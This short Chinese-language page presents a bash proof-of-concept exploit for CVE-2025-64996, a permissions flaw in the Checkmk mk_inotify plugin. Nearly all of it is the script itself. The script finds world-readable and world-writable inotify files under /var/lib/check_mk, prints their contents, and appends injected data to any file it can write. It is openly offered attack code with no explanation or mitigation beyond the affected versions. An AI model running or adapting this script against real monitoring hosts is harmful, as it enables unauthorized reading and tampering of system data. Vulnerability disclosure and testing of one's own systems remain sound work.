CVE-2025-64996 Checkmk mk_inotify插件权限配置不当漏洞

#!/bin/bash # CVE-2025-64996 PoC - Checkmk mk_inotify权限配置不当漏洞利用 # 前提条件：需要本地用户访问权限 echo "[*] CVE-2025-64996 Checkmk mk_inotify权限配置不当漏洞 PoC" echo "[*] 目标：Checkmk < 2.4.0p16, < 2.3.0p41, <= 2.2.0" # 查找mk_inotify插件生成的全局可读写文件 echo "[+] 步骤1: 搜索mk_inotify插件相关的全局可读写文件..." find /var/lib/check_mk -name "*inotify*" -perm -006 2>/dev/null # 尝试读取插件输出文件 echo "[+] 步骤2: 读取mk_inotify插件输出..." for file in $(find /var/lib/check_mk -name "*inotify*" -perm -004 2>/dev/null); do echo "[*] 读取文件: $file" cat "$file" 2>/dev/null || echo "无法读取" done # 尝试修改插件输出文件 echo "[+] 步骤3: 测试文件写入权限..." for file in $(find /var/lib/check_mk -name "*inotify*" -perm -002 2>/dev/null); do if [ -w "$file" ]; then echo "[+] 可写文件: $file" echo "malicious_data_injected" >> "$file" echo "[*] 已在 $file 中注入测试数据" fi done echo "[+] PoC执行完成"